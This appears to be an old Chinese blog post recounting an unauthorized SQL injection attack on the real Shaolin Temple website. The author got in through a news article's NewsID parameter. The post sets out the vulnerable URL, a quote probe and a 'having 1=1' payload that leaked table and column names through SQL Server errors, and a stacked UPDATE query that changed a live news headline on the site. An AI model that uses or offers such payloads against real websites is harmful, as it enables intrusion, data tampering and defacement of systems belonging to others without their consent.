刚才从新闻上听到一条消息:少林网站公布武功秘笈;呵呵!这个比较爽! 顺便就去少林寺的网站上看了看,http://www.shaolin.org.cn/ 打开后,看到有新闻系统,随意浏览了一下几条新闻,都是html的,似乎没什么问题,但是当我把鼠标放到首页新闻上时,发现他的连接是“javascript:MM_openBrWindow('../../../asp/news_article.asp? NewsID=649','news','scrollbars=yes,width=520,height=400')”,大家可能注意到了,有可能存在注入,我也是没事看电视,那就渗透一下试试。 1、输入地址: http://www.shaolin.org.cn/../../../asp/news_article.asp?NewsID=649, 可以打开新闻,说明url正确,加'后,返回 ---------------------------------------------------------------------------------- Microsoft OLE DB Provider for SQL Server 错误 '80040e14' Unclosed quotation mark before the character string '''. /asp/lib/lib.asp,行710 ---------------------------------------------------------------------------------- 应该是sql数据库。 2、使用' having 1=1—,提示 ---------------------------------------------------------------------------------- Microsoft OLE DB Provider for SQL Server 错误 '80040e14' Column 'Shaolin_NewsList.NewsID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /asp/lib/lib.asp,行710 ---------------------------------------------------------------------------------- 很快就能获得它的表shaolin_newslist的所有字段:newsid、NewsUpdateDat、NewsTitle、NewsContent 3、接下来我测试了一下数据库用户权限 http://www.shaolin.org.cn/asp/news_article.asp?NewsID=649'; update%20shaolin_newslist%20set%20NewsTitle='少林药局数百医疗养生秘方首次向世界公开!'%20where%20newsid=649-- 图: <p><img src="http://www.coolersky.com/Images/webpage/20040808001.JPG" alt="照片.JPG (663395 bytes)" width="527" height="234"></p>